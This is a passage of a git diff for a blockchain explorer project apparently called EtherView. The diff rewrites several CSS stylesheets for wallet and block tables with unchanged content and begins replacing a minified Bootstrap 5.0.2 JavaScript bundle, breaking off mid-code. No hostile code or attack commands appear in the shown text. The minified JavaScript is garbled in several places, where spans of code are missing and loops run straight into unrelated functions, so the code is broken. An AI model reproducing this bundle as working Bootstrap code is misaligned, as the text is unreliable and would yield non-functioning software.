"Wallet"; + } + table tbody tr td:nth-child(5):before { + content: "Balance Change"; + } + } + diff --git a/tools/Blockchain/EtherView/server/static/css/style_global_wallet.css b/tools/Blockchain/EtherView/server/static/css/style_global_wallet.css index 3459b8966..fc36552d7 100644 --- a/tools/Blockchain/EtherView/server/static/css/style_global_wallet.css +++ b/tools/Blockchain/EtherView/server/static/css/style_global_wallet.css @@ -1,44 +1,44 @@ -.card { - margin: 10px 10px; -} - -input[type='checkbox'] { - display: none; -} - -/* Flip Cards CSS */ -.card-container { - display: grid; - perspective: 700px; -} - -.card-flip { - display: grid; - grid-template: 1fr / 1fr; - grid-template-areas: "frontAndBack"; - transform-style: preserve-3d; - transition: all 0.7s ease; -} - -.card-flip div { - backface-visibility: hidden; - transform-style: preserve-3d; -} - -.front { - grid-area: frontAndBack; -} - -.back { - grid-area: frontAndBack; - transform: rotateY(-180deg); -} - -input[type='checkbox']:checked + .card-container .card-flip { - transform: rotateY(180deg); -} - -.alert { - height:60%; - text-align: center; +.card { + margin: 10px 10px; +} + +input[type='checkbox'] { + display: none; +} + +/* Flip Cards CSS */ +.card-container { + display: grid; + perspective: 700px; +} + +.card-flip { + display: grid; + grid-template: 1fr / 1fr; + grid-template-areas: "frontAndBack"; + transform-style: preserve-3d; + transition: all 0.7s ease; +} + +.card-flip div { + backface-visibility: hidden; + transform-style: preserve-3d; +} + +.front { + grid-area: frontAndBack; +} + +.back { + grid-area: frontAndBack; + transform: rotateY(-180deg); +} + +input[type='checkbox']:checked + .card-container .card-flip { + transform: rotateY(180deg); +} + +.alert { + height:60%; + text-align: center; } \ No newline at end of file diff --git a/tools/Blockchain/EtherView/server/static/css/style_one_block.css b/tools/Blockchain/EtherView/server/static/css/style_one_block.css index 2b2ccd2a8..b49af2381 100644 --- a/tools/Blockchain/EtherView/server/static/css/style_one_block.css +++ b/tools/Blockchain/EtherView/server/static/css/style_one_block.css @@ -1,98 +1,98 @@ -table { - border-spacing: 1; - border-collapse: collapse; - background: white; - border-radius: 10px; - overflow: hidden; - width: 100%; - margin: 0 auto; - position: relative; -} -table * { - position: relative; -} -table td, -table th { - padding-left: 8px; - font-size: 14px; -} -table thead tr { - height: 20px; - background: #ccc; - font-size: 14px; -} -table tbody tr { - height: 20px; - border-bottom: 1px solid #e3f1d5; -} -table tbody tr:last-child { - border: 0; -} -table td, -table th { - text-align: left; -} - -table tbody tr:hover { - background-color: #ebe6e6; -} -table td.l, -table th.l { - text-align: right; -} -table td.c, -table th.c { - text-align: center; -} -table td.r, -table th.r { - text-align: center; -} - -@media screen and (max-width: 35.5em) { - table { - display: block; - } - table > *, - table tr, - table td, - table th { - display: block; - } - table thead { - display: none; - } - table tbody tr { - height: auto; - padding: 8px 0; - } - table tbody tr td { - padding-left: 45%; - margin-bottom: 12px; - } - table tbody tr td:last-child { - margin-bottom: 0; - } - table tbody tr td:before { - position: absolute; - font-weight: 700; - width: 40%; - left: 10px; - top: 0; - } - table tbody tr td:nth-child(1):before { - content: "Account No"; - } - table tbody tr td:nth-child(2):before { - content: "Balance"; - } - table tbody tr td:nth-child(3):before { - content: "Block"; - } - table tbody tr td:nth-child(4):before { - content: "Wallet"; - } - table tbody tr td:nth-child(5):before { - content: "Balance Change"; - } -} +table { + border-spacing: 1; + border-collapse: collapse; + background: white; + border-radius: 10px; + overflow: hidden; + width: 100%; + margin: 0 auto; + position: relative; +} +table * { + position: relative; +} +table td, +table th { + padding-left: 8px; + font-size: 14px; +} +table thead tr { + height: 20px; + background: #ccc; + font-size: 14px; +} +table tbody tr { + height: 20px; + border-bottom: 1px solid #e3f1d5; +} +table tbody tr:last-child { + border: 0; +} +table td, +table th { + text-align: left; +} + +table tbody tr:hover { + background-color: #ebe6e6; +} +table td.l, +table th.l { + text-align: right; +} +table td.c, +table th.c { + text-align: center; +} +table td.r, +table th.r { + text-align: center; +} + +@media screen and (max-width: 35.5em) { + table { + display: block; + } + table > *, + table tr, + table td, + table th { + display: block; + } + table thead { + display: none; + } + table tbody tr { + height: auto; + padding: 8px 0; + } + table tbody tr td { + padding-left: 45%; + margin-bottom: 12px; + } + table tbody tr td:last-child { + margin-bottom: 0; + } + table tbody tr td:before { + position: absolute; + font-weight: 700; + width: 40%; + left: 10px; + top: 0; + } + table tbody tr td:nth-child(1):before { + content: "Account No"; + } + table tbody tr td:nth-child(2):before { + content: "Balance"; + } + table tbody tr td:nth-child(3):before { + content: "Block"; + } + table tbody tr td:nth-child(4):before { + content: "Wallet"; + } + table tbody tr td:nth-child(5):before { + content: "Balance Change"; + } +} diff --git a/tools/Blockchain/EtherView/server/static/css/style_tab.css b/tools/Blockchain/EtherView/server/static/css/style_tab.css index c096d123c..741e259e5 100644 --- a/tools/Blockchain/EtherView/server/static/css/style_tab.css +++ b/tools/Blockchain/EtherView/server/static/css/style_tab.css @@ -1,48 +1,48 @@ -/* Style the tab */ -.tab { - overflow: hidden; - border: 1px solid #ccc; - background-color: #f1f1f1; -} - -/* Style the buttons inside the tab */ -.tab button { - background-color: inherit; - float: left; - border: none; - outline: none; - cursor: pointer; - padding: 14px 16px; - transition: 0.3s; - font-size: 17px; -} - -/* Change background color of buttons on hover */ -.tab button:hover { - background-color: #ddd; -} - -/* Create an active/current tablink class */ -.tab button.active { - background-color: #ccc; -} - -/* Style the tab content */ -.tabcontent { - display: none; - padding: 6px 12px; - border: 1px solid #ccc; - border-top: none; - font-size: 20px; -} - -/* Style the close button */ -.topright { - float: right; - cursor: pointer; - font-size: 28px; -} - -.topright:hover { - color: red; -} +/* Style the tab */ +.tab { + overflow: hidden; + border: 1px solid #ccc; + background-color: #f1f1f1; +} + +/* Style the buttons inside the tab */ +.tab button { + background-color: inherit; + float: left; + border: none; + outline: none; + cursor: pointer; + padding: 14px 16px; + transition: 0.3s; + font-size: 17px; +} + +/* Change background color of buttons on hover */ +.tab button:hover { + background-color: #ddd; +} + +/* Create an active/current tablink class */ +.tab button.active { + background-color: #ccc; +} + +/* Style the tab content */ +.tabcontent { + display: none; + padding: 6px 12px; + border: 1px solid #ccc; + border-top: none; + font-size: 20px; +} + +/* Style the close button */ +.topright { + float: right; + cursor: pointer; + font-size: 28px; +} + +.topright:hover { + color: red; +} diff --git a/tools/Blockchain/EtherView/server/static/css/style_wallet.css b/tools/Blockchain/EtherView/server/static/css/style_wallet.css index a2233ba2c..6c4b25f52 100644 --- a/tools/Blockchain/EtherView/server/static/css/style_wallet.css +++ b/tools/Blockchain/EtherView/server/static/css/style_wallet.css @@ -1,103 +1,103 @@ -table { - border-spacing: 1; - border-collapse: collapse; - background: white; - border-radius: 10px; - overflow: hidden; - /* max-width: 1100px; */ - width: 100%; - margin: 0 0; - position: relative; -} -table * { - position: relative; -} -table td, -table th { - padding-left: 8px; - font-size: 16px; -} -table thead tr { - height: 60px; - background: #ccc; - font-size: 16px; -} -table tbody tr { - height: 48px; - border-bottom: 1px solid #e3f1d5; -} -table tbody tr:last-child { - border: 0; -} -table td, -table th { - text-align: center; -} - -table tbody tr:hover { - background-color: #ebe6e6; -} -table td.l, -table th.l { - text-align: right; -} -table td.c, -table th.c { - text-align: center; -} -table td.r, -table th.r { - text-align: center; -} - -@media screen and (max-width: 35.5em) { - table { - display: block; - } - table > *, - table tr, - table td, - table th { - display: block; - } - table thead { - display: none; - } - table tbody tr { - height: auto; - padding: 8px 0; - } - table tbody tr td { - padding-left: 45%; - margin-bottom: 12px; - } - table tbody tr td:last-child { - margin-bottom: 0; - } - table tbody tr td:before { - position: absolute; - font-weight: 700; - width: 40%; - left: 10px; - top: 0; - } - table tbody tr td:nth-child(1):before { - content: "Transaction ID"; - } - table tbody tr td:nth-child(2):before { - content: "Date/Time"; - } - table tbody tr td:nth-child(3):before { - content: "Balance Change"; - } - table tbody tr td:nth-child(4):before { - content: "Block"; - } - table tbody tr td:nth-child(5):before { - content: "TX Time"; - } -} - -.form-group { - font-size: large; -} +table { + border-spacing: 1; + border-collapse: collapse; + background: white; + border-radius: 10px; + overflow: hidden; + /* max-width: 1100px; */ + width: 100%; + margin: 0 0; + position: relative; +} +table * { + position: relative; +} +table td, +table th { + padding-left: 8px; + font-size: 16px; +} +table thead tr { + height: 60px; + background: #ccc; + font-size: 16px; +} +table tbody tr { + height: 48px; + border-bottom: 1px solid #e3f1d5; +} +table tbody tr:last-child { + border: 0; +} +table td, +table th { + text-align: center; +} + +table tbody tr:hover { + background-color: #ebe6e6; +} +table td.l, +table th.l { + text-align: right; +} +table td.c, +table th.c { + text-align: center; +} +table td.r, +table th.r { + text-align: center; +} + +@media screen and (max-width: 35.5em) { + table { + display: block; + } + table > *, + table tr, + table td, + table th { + display: block; + } + table thead { + display: none; + } + table tbody tr { + height: auto; + padding: 8px 0; + } + table tbody tr td { + padding-left: 45%; + margin-bottom: 12px; + } + table tbody tr td:last-child { + margin-bottom: 0; + } + table tbody tr td:before { + position: absolute; + font-weight: 700; + width: 40%; + left: 10px; + top: 0; + } + table tbody tr td:nth-child(1):before { + content: "Transaction ID"; + } + table tbody tr td:nth-child(2):before { + content: "Date/Time"; + } + table tbody tr td:nth-child(3):before { + content: "Balance Change"; + } + table tbody tr td:nth-child(4):before { + content: "Block"; + } + table tbody tr td:nth-child(5):before { + content: "TX Time"; + } +} + +.form-group { + font-size: large; +} diff --git a/tools/Blockchain/EtherView/server/static/js/bootstrap.bundle.min.js b/tools/Blockchain/EtherView/server/static/js/bootstrap.bundle.min.js index 68acb7a31..fbb0641b8 100644 --- a/tools/Blockchain/EtherView/server/static/js/bootstrap.bundle.min.js +++ b/tools/Blockchain/EtherView/server/static/js/bootstrap.bundle.min.js @@ -1,7 +1,7 @@ -/*! - * Bootstrap v5.0.2 (https://getbootstrap.com/) - * Copyright 2011-2021 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) - * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) - */ -!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).bootstrap=e()}(this,(function(){"use strict";const t={find:(t,e=document.documentElement)=>[].concat(...Element.prototype.querySelectorAll.call(e,t)),findOne:(t,e=document.documentElement)=>Element.prototype.querySelector.call(e,t),children:(t,e)=>[].concat(...t.children).filter(t=>t.matches(e)),parents(t,e){const i=[];let n=t.parentNode;for(;n&&n.nodeType===Node.ELEMENT_NODE&&3!==n.nodeType;)n.matches(e)&&i.push(n),n=n.parentNode;return i},prev(t,e){let i=t.previousElementSibling;for(;i;){if(i.matches(e))return[i];i=i.previousElementSibling}return[]},next(t,e){let i=t.nextElementSibling;for(;i;){if(i.matches(e))return[i];i=i.nextElementSibling}return[]}},e=t=>{do{t+=Math.floor(1e6*Math.random())}while(document.getElementById(t));return t},i=t=>{let e=t.getAttribute("data-bs-target");if(!e||"#"===e){let i=t.getAttribute("href");if(!i||!i.includes("#")&&!i.startsWith("."))return null;i.includes("#")&&!i.startsWith("#")&&(i="#"+i.split("#")[1]),e=i&&"#"!==i?i.trim():null}return e},n=t=>{const e=i(t);return e&&document.querySelector(e)?e:null},s=t=>{const e=i(t);return e?document.querySelector(e):null},o=t=>{t.dispatchEvent(new Event("transitionend"))},r=t=>!(!t||"object"!=typeof t)&&(void 0!==t.jquery&&(t=t[0]),void 0!==t.nodeType),a=e=>r(e)?e.jquery?e[0]:e:"string"==typeof e&&e.length>0?t.findOne(e):null,l=(t,e,i)=>{Object.keys(i).forEach(n=>{const s=i[n],o=e[n],a=o&&r(o)?"element":null==(l=o)?""+l:{}.toString.call(l).match(/\s([a-z]+)/i)[1].toLowerCase();var l;if(!new RegExp(s).test(a))throw new TypeError(`${t.toUpperCase()}: Option "${n}" provided type "${a}" but expected type "${s}".`)})},c=t=>!(!r(t)||0===t.getClientRects().length)&&"visible"===getComputedStyle(t).getPropertyValue("visibility"),h=t=>!t||t.nodeType!==Node.ELEMENT_NODE||!!t.classList.contains("disabled")||(void 0!==t.disabled?t.disabled:t.hasAttribute("disabled")&&"false"!==t.getAttribute("disabled")),d=t=>{if(!document.documentElement.attachShadow)return null;if("function"==typeof t.getRootNode){const e=t.getRootNode();return e instanceof ShadowRoot?e:null}return t instanceof ShadowRoot?t:t.parentNode?d(t.parentNode):null},u=()=>{},f=t=>t.offsetHeight,p=()=>{const{jQuery:t}=window;return t&&!document.body.hasAttribute("data-bs-no-jquery")?t:null},m=[],g=()=>"rtl"===document.documentElement.dir,_=t=>{var e;e=()=>{const e=p();if(e){const i=t.NAME,n=e.fn[i];e.fn[i]=t.jQueryInterface,e.fn[i].Constructor=t,e.fn[i].noConflict=()=>(e.fn[i]=n,t.jQueryInterface)}},"loading"===document.readyState?(m.length||document.addEventListener("DOMContentLoaded",()=>{m.forEach(t=>t())}),m.push(e)):e()},b=t=>{"function"==typeof t&&t()},v=(t,e,i=!0)=>{if(!i)return void b(t);const n=(t=>{if(!t)return 0;let{transitionDuration:e,transitionDelay:i}=window.getComputedStyle(t);const n=Number.parseFloat(e),s=Number.parseFloat(i);return n||s?(e=e.split(",")[0],i=i.split(",")[0],1e3*(Number.parseFloat(e)+Number.parseFloat(i))):0})(e)+5;let s=!1;const r=({target:i})=>{i===e&&(s=!0,e.removeEventListener("transitionend",r),b(t))};e.addEventListener("transitionend",r),setTimeout(()=>{s||o(e)},n)},y=(t,e,i,n)=>{let s=t.indexOf(e);if(-1===s)return t[!i&&n?t.length-1:0];const o=t.length;return s+=i?1:-1,n&&(s=(s+o)%o),t[Math.max(0,Math.min(s,o-1))]},w=/[^.]*(?=\..*)\.|.*/,E=/\..*/,A=/::\d+$/,T={};let O=1;const C={mouseenter:"mouseover",mouseleave:"mouseout"},k=/^(mouseenter|mouseleave)/i,L=new Set(["click","dblclick","mouseup","mousedown","contextmenu","mousewheel","DOMMouseScroll","mouseover","mouseout","mousemove","selectstart","selectend","keydown","keypress","keyup","orientationchange","touchstart","touchmove","touchend","touchcancel","pointerdown","pointermove","pointerup","pointerleave","pointercancel","gesturestart","gesturechange","gestureend","focus","blur","change","reset","select","submit","focusin","focusout","load","unload","beforeunload","resize","move","DOMContentLoaded","readystatechange","error","abort","scroll"]);function x(t,e){return e&&`${e}::${O++}`||t.uidEvent||O++}function D(t){const e=x(t);return t.uidEvent=e,T[e]=T[e]||{},T[e]}function S(t,e,i=null){const n=Object.keys(t);for(let s=0,o=n.length;sfunction(e){if(!e.relatedTarget||e.relatedTarget!==e.delegateTarget&&!e.delegateTarget.contains(e.relatedTarget))return t.call(this,e)};n?n=t(n):i=t(i)}const[o,r,a]=I(e,i,n),l=D(t),c=l[a]||(l[a]={}),h=S(c,r,o?i:null);if(h)return void(h.oneOff=h.oneOff&&s);const d=x(r,e.replace(w,"")),u=o?function(t,e,i){return function n(s){const o=t.querySelectorAll(e);for(let{target:r}=s;r&&r!==this;r=r.parentNode)for(let a=o.length;a--;)if(o[a]===r)return s.delegateTarget=r,n.oneOff&&P.off(t,s.type,e,i),i.apply(r,[s]);return null}}(t,i,n):function(t,e){return function i(n){return n.delegateTarget=t,i.oneOff&&P.off(t,n.type,e),e.apply(t,[n])}}(t,i);u.delegationSelector=o?i:null,u.originalHandler=r,u.oneOff=s,u.uidEvent=d,c[d]=u,t.addEventListener(a,u,o)}function j(t,e,i,n,s){const o=S(e[i],n,s);o&&(t.removeEventListener(i,o,Boolean(s)),delete e[i][o.uidEvent])}function M(t){return t=t.replace(E,""),C[t]||t}const P={on(t,e,i,n){N(t,e,i,n,!1)},one(t,e,i,n){N(t,e,i,n,!0)},off(t,e,i,n){if("string"!=typeof e||!t)return;const[s,o,r]=I(e,i,n),a=r!==e,l=D(t),c=e.startsWith(".");if(void 0!==o){if(!l||!l[r])return;return void j(t,l,r,o,s?i:null)}c&&Object.keys(l).forEach(i=>{!function(t,e,i,n){const s=e[i]||{};Object.keys(s).forEach(o=>{if(o.includes(n)){const n=s[o];j(t,e,i,n.originalHandler,n.delegationSelector)}})}(t,l,i,e.slice(1))});const h=l[r]||{};Object.keys(h).forEach(i=>{const n=i.replace(A,"");if(!a||e.includes(n)){const e=h[i];j(t,l,r,e.originalHandler,e.delegationSelector)}})},trigger(t,e,i){if("string"!=typeof e||!t)return null;const n=p(),s=M(e),o=e!==s,r=L.has(s);let a,l=!0,c=!0,h=!1,d=null;return o&&n&&(a=n.Event(e,i),n(t).trigger(a),l=!a.isPropagationStopped(),c=!a.isImmediatePropagationStopped(),h=a.isDefaultPrevented()),r?(d=document.createEvent("HTMLEvents"),d.initEvent(s,l,!0)):d=new CustomEvent(e,{bubbles:l,cancelable:!0}),void 0!==i&&Object.keys(i).forEach(t=>{Object.defineProperty(d,t,{get:()=>i[t]})}),h&&d.preventDefault(),c&&t.dispatchEvent(d),d.defaultPrevented&&void 0!==a&&a.preventDefault(),d}},H=new Map;var R={set(t,e,i){H.has(t)||H.set(t,new Map);const n=H.get(t);n.has(e)||0===n.size?n.set(e,i):console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(n.keys())[0]}.`)},get:(t,e)=>H.has(t)&&H.get(t).get(e)||null,remove(t,e){if(!H.has(t))return;const i=H.get(t);i.delete(e),0===i.size&&H.delete(t)}};class B{constructor(t){(t=a(t))&&(this._element=t,R.set(this._element,this.constructor.DATA_KEY,this))}dispose(){R.remove(this._element,this.constructor.DATA_KEY),P.off(this._element,this.constructor.EVENT_KEY),Object.getOwnPropertyNames(this).forEach(t=>{this[t]=null})}_queueCallback(t,e,i=!0){v(t,e,i)}static getInstance(t){return R.get(t,this.DATA_KEY)}static getOrCreateInstance(t,e={}){return this.getInstance(t)||new this(t,"object"==typeof e?e:null)}static get VERSION(){return"5.0.2"}static get NAME(){throw new Error('You have to implement the static method "NAME", for each component!')}static get DATA_KEY(){return"bs."+this.NAME}static get EVENT_KEY(){return"."+this.DATA_KEY}}class W extends B{static get NAME(){return"alert"}close(t){const e=t?this._getRootElement(t):this._element,i=this._triggerCloseEvent(e);null===i||i.defaultPrevented||this._removeElement(e)}_getRootElement(t){return s(t)||t.closest(".alert")}_triggerCloseEvent(t){return P.trigger(t,"close.bs.alert")}_removeElement(t){t.classList.remove("show");const e=t.classList.contains("fade");this._queueCallback(()=>this._destroyElement(t),t,e)}_destroyElement(t){t.remove(),P.trigger(t,"closed.bs.alert")}static jQueryInterface(t){return this.each((function(){const e=W.getOrCreateInstance(this);"close"===t&&e[t](this)}))}static handleDismiss(t){return function(e){e&&e.preventDefault(),t.close(this)}}}P.on(document,"click.bs.alert.data-api",'[data-bs-dismiss="alert"]',W.handleDismiss(new W)),_(W);class q extends B{static get NAME(){return"button"}toggle(){this._element.setAttribute("aria-pressed",this._element.classList.toggle("active"))}static jQueryInterface(t){return this.each((function(){const e=q.getOrCreateInstance(this);"toggle"===t&&e[t]()}))}}function z(t){return"true"===t||"false"!==t&&(t===Number(t).toString()?Number(t):""===t||"null"===t?null:t)}function $(t){return t.replace(/[A-Z]/g,t=>"-"+t.toLowerCase())}P.on(document,"click.bs.button.data-api",'[data-bs-toggle="button"]',t=>{t.preventDefault();const e=t.target.closest('[data-bs-toggle="button"]');q.getOrCreateInstance(e).toggle()}),_(q);const U={setDataAttribute(t,e,i){t.setAttribute("data-bs-"+$(e),i)},removeDataAttribute(t,e){t.removeAttribute("data-bs-"+$(e))},getDataAttributes(t){if(!t)return{};const e={};return Object.keys(t.dataset).filter(t=>t.startsWith("bs")).forEach(i=>{let n=i.replace(/^bs/,"");n=n.charAt(0).toLowerCase()+n.slice(1,n.length),e[n]=z(t.dataset[i])}),e},getDataAttribute:(t,e)=>z(t.getAttribute("data-bs-"+$(e))),offset(t){const e=t.getBoundingClientRect();return{top:e.top+document.body.scrollTop,left:e.left+document.body.scrollLeft}},position:t=>({top:t.offsetTop,left:t.offsetLeft})},F={interval:5e3,keyboard:!0,slide:!1,pause:"hover",wrap:!0,touch:!0},V={interval:"(number|boolean)",keyboard:"boolean",slide:"(boolean|string)",pause:"(string|boolean)",wrap:"boolean",touch:"boolean"},K="next",X="prev",Y="left",Q="right",G={ArrowLeft:Q,ArrowRight:Y};class Z extends B{constructor(e,i){super(e),this._items=null,this._interval=null,this._activeElement=null,this._isPaused=!1,this._isSliding=!1,this.touchTimeout=null,this.touchStartX=0,this.touchDeltaX=0,this._config=this._getConfig(i),this._indicatorsElement=t.findOne(".carousel-indicators",this._element),this._touchSupported="ontouchstart"in document.documentElement||navigator.maxTouchPoints>0,this._pointerEvent=Boolean(window.PointerEvent),this._addEventListeners()}static get Default(){return F}static get NAME(){return"carousel"}next(){this._slide(K)}nextWhenVisible(){!document.hidden&&c(this._element)&&this.next()}prev(){this._slide(X)}pause(e){e||(this._isPaused=!0),t.findOne(".carousel-item-next, .carousel-item-prev",this._element)&&(o(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null}cycle(t){t||(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config&&this._config.interval&&!this._isPaused&&(this._updateInterval(),this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))}to(e){this._activeElement=t.findOne(".active.carousel-item",this._element);const i=this._getItemIndex(this._activeElement);if(e>this._items.length-1||e<0)return;if(this._isSliding)return void P.one(this._element,"slid.bs.carousel",()=>this.to(e));if(i===e)return this.pause(),void this.cycle();const n=e>i?K:X;this._slide(n,this._items[e])}_getConfig(t){return t={...F,...U.getDataAttributes(this._element),..."object"==typeof t?t:{}},l("carousel",t,V),t}_handleSwipe(){const t=Math.abs(this.touchDeltaX);if(t<=40)return;const e=t/this.touchDeltaX;this.touchDeltaX=0,e&&this._slide(e>0?Q:Y)}_addEventListeners(){this._config.keyboard&&P.on(this._element,"keydown.bs.carousel",t=>this._keydown(t)),"hover"===this._config.pause&&(P.on(this._element,"mouseenter.bs.carousel",t=>this.pause(t)),P.on(this._element,"mouseleave.bs.carousel",t=>this.cycle(t))),this._config.touch&&this._touchSupported&&this._addTouchEventListeners()}_addTouchEventListeners(){const e=t=>{!this._pointerEvent||"pen"!==t.pointerType&&"touch"!==t.pointerType?this._pointerEvent||(this.touchStartX=t.touches[0].clientX):this.touchStartX=t.clientX},i=t=>{this.touchDeltaX=t.touches&&t.touches.length>1?0:t.touches[0].clientX-this.touchStartX},n=t=>{!this._pointerEvent||"pen"!==t.pointerType&&"touch"!==t.pointerType||(this.touchDeltaX=t.clientX-this.touchStartX),this._handleSwipe(),"hover"===this._config.pause&&(this.pause(),this.touchTimeout&&clearTimeout(this.touchTimeout),this.touchTimeout=setTimeout(t=>this.cycle(t),500+this._config.interval))};t.find(".carousel-item img",this._element).forEach(t=>{P.on(t,"dragstart.bs.carousel",t=>t.preventDefault())}),this._pointerEvent?(P.on(this._element,"pointerdown.bs.carousel",t=>e(t)),P.on(this._element,"pointerup.bs.carousel",t=>n(t)),this._element.classList.add("pointer-event")):(P.on(this._element,"touchstart.bs.carousel",t=>e(t)),P.on(this._element,"touchmove.bs.carousel",t=>i(t)),P.on(this._element,"touchend.bs.carousel",t=>n(t)))}_keydown(t){if(/input|textarea/i.test(t.target.tagName))return;const e=G[t.key];e&&(t.preventDefault(),this._slide(e))}_getItemIndex(e){return this._items=e&&e.parentNode?t.find(".carousel-item",e.parentNode):[],this._items.indexOf(e)}_getItemByOrder(t,e){const i=t===K;return y(this._items,e,i,this._config.wrap)}_triggerSlideEvent(e,i){const n=this._getItemIndex(e),s=this._getItemIndex(t.findOne(".active.carousel-item",this._element));return P.trigger(this._element,"slide.bs.carousel",{relatedTarget:e,direction:i,from:s,to:n})}_setActiveIndicatorElement(e){if(this._indicatorsElement){const i=t.findOne(".active",this._indicatorsElement);i.classList.remove("active"),i.removeAttribute("aria-current");const n=t.find("[data-bs-target]",this._indicatorsElement);for(let t=0;t{P.trigger(this._element,"slid.bs.carousel",{relatedTarget:r,direction:u,from:o,to:a})};if(this._element.classList.contains("slide")){r.classList.add(d),f(r),s.classList.add(h),r.classList.add(h);const t=()=>{r.classList.remove(h,d),r.classList.add("active"),s.classList.remove("active",d,h),this._isSliding=!1,setTimeout(p,0)};this._queueCallback(t,s,!0)}else s.classList.remove("active"),r.classList.add("active"),this._isSliding=!1,p();l&&this.cycle()}_directionToOrder(t){return[Q,Y].includes(t)?g()?t===Y?X:K:t===Y?K:X:t}_orderToDirection(t){return[K,X].includes(t)?g()?t===X?Y:Q:t===X?Q:Y:t}static carouselInterface(t,e){const i=Z.getOrCreateInstance(t,e);let{_config:n}=i;"object"==typeof e&&(n={...n,...e});const s="string"==typeof e?e:n.slide;if("number"==typeof e)i.to(e);else if("string"==typeof s){if(void 0===i[s])throw new TypeError(`No method named "${s}"`);i[s]()}else n.interval&&n.ride&&(i.pause(),i.cycle())}static jQueryInterface(t){return this.each((function(){Z.carouselInterface(this,t)}))}static dataApiClickHandler(t){const e=s(this);if(!e||!e.classList.contains("carousel"))return;const i={...U.getDataAttributes(e),...U.getDataAttributes(this)},n=this.getAttribute("data-bs-slide-to");n&&(i.interval=!1),Z.carouselInterface(e,i),n&&Z.getInstance(e).to(n),t.preventDefault()}}P.on(document,"click.bs.carousel.data-api","[data-bs-slide], [data-bs-slide-to]",Z.dataApiClickHandler),P.on(window,"load.bs.carousel.data-api",()=>{const e=t.find('[data-bs-ride="carousel"]');for(let t=0,i=e.length;tt===this._element);null!==o&&r.length&&(this._selector=o,this._triggerArray.push(i))}this._parent=this._config.parent?this._getParent():null,this._config.parent||this._addAriaAndCollapsedClass(this._element,this._triggerArray),this._config.toggle&&this.toggle()}static get Default(){return J}static get NAME(){return"collapse"}toggle(){this._element.classList.contains("show")?this.hide():this.show()}show(){if(this._isTransitioning||this._element.classList.contains("show"))return;let e,i;this._parent&&(e=t.find(".show, .collapsing",this._parent).filter(t=>"string"==typeof this._config.parent?t.getAttribute("data-bs-parent")===this._config.parent:t.classList.contains("collapse")),0===e.length&&(e=null));const n=t.findOne(this._selector);if(e){const t=e.find(t=>n!==t);if(i=t?et.getInstance(t):null,i&&i._isTransitioning)return}if(P.trigger(this._element,"show.bs.collapse").defaultPrevented)return;e&&e.forEach(t=>{n!==t&&et.collapseInterface(t,"hide"),i||R.set(t,"bs.collapse",null)});const s=this._getDimension();this._element.classList.remove("collapse"),this._element.classList.add("collapsing"),this._element.style[s]=0,this._triggerArray.length&&this._triggerArray.forEach(t=>{t.classList.remove("collapsed"),t.setAttribute("aria-expanded",!0)}),this.setTransitioning(!0);const o="scroll"+(s[0].toUpperCase()+s.slice(1));this._queueCallback(()=>{this._element.classList.remove("collapsing"),this._element.classList.add("collapse","show"),this._element.style[s]="",this.setTransitioning(!1),P.trigger(this._element,"shown.bs.collapse")},this._element,!0),this._element.style[s]=this._element[o]+"px"}hide(){if(this._isTransitioning||!this._element.classList.contains("show"))return;if(P.trigger(this._element,"hide.bs.collapse").defaultPrevented)return;const t=this._getDimension();this._element.style[t]=this._element.getBoundingClientRect()[t]+"px",f(this._element),this._element.classList.add("collapsing"),this._element.classList.remove("collapse","show");const e=this._triggerArray.length;if(e>0)for(let t=0;t{this.setTransitioning(!1),this._element.classList.remove("collapsing"),this._element.classList.add("collapse"),P.trigger(this._element,"hidden.bs.collapse")},this._element,!0)}setTransitioning(t){this._isTransitioning=t}_getConfig(t){return(t={...J,...t}).toggle=Boolean(t.toggle),l("collapse",t,tt),t}_getDimension(){return this._element.classList.contains("width")?"width":"height"}_getParent(){let{parent:e}=this._config;e=a(e);const i=`[data-bs-toggle="collapse"][data-bs-parent="${e}"]`;return t.find(i,e).forEach(t=>{const e=s(t);this._addAriaAndCollapsedClass(e,[t])}),e}_addAriaAndCollapsedClass(t,e){if(!t||!e.length)return;const i=t.classList.contains("show");e.forEach(t=>{i?t.classList.remove("collapsed"):t.classList.add("collapsed"),t.setAttribute("aria-expanded",i)})}static collapseInterface(t,e){let i=et.getInstance(t);const n={...J,...U.getDataAttributes(t),..."object"==typeof e&&e?e:{}};if(!i&&n.toggle&&"string"==typeof e&&/show|hide/.test(e)&&(n.toggle=!1),i||(i=new et(t,n)),"string"==typeof e){if(void 0===i[e])throw new TypeError(`No method named "${e}"`);i[e]()}}static jQueryInterface(t){return this.each((function(){et.collapseInterface(this,t)}))}}P.on(document,"click.bs.collapse.data-api",'[data-bs-toggle="collapse"]',(function(e){("A"===e.target.tagName||e.delegateTarget&&"A"===e.delegateTarget.tagName)&&e.preventDefault();const i=U.getDataAttributes(this),s=n(this);t.find(s).forEach(t=>{const e=et.getInstance(t);let n;e?(null===e._parent&&"string"==typeof i.parent&&(e._config.parent=i.parent,e._parent=e._getParent()),n="toggle"):n=i,et.collapseInterface(t,n)})})),_(et);var it="top",nt="bottom",st="right",ot="left",rt=[it,nt,st,ot],at=rt.reduce((function(t,e){return t.concat([e+"-start",e+"-end"])}),[]),lt=[].concat(rt,["auto"]).reduce((function(t,e){return t.concat([e,e+"-start",e+"-end"])}),[]),ct=["beforeRead","read","afterRead","beforeMain","main","afterMain","beforeWrite","write","afterWrite"];function ht(t){return t?(t.nodeName||"").toLowerCase():null}function dt(t){if(null==t)return window;if("[object Window]"!==t.toString()){var e=t.ownerDocument;return e&&e.defaultView||window}return t}function ut(t){return t instanceof dt(t).Element||t instanceof Element}function ft(t){return t instanceof dt(t).HTMLElement||t instanceof HTMLElement}function pt(t){return"undefined"!=typeof ShadowRoot&&(t instanceof dt(t).ShadowRoot||t instanceof ShadowRoot)}var mt={name:"applyStyles",enabled:!0,phase:"write",fn:function(t){var e=t.state;Object.keys(e.elements).forEach((function(t){var i=e.styles[t]||{},n=e.attributes[t]||{},s=e.elements[t];ft(s)&&ht(s)&&(Object.assign(s.style,i),Object.keys(n).forEach((function(t){var 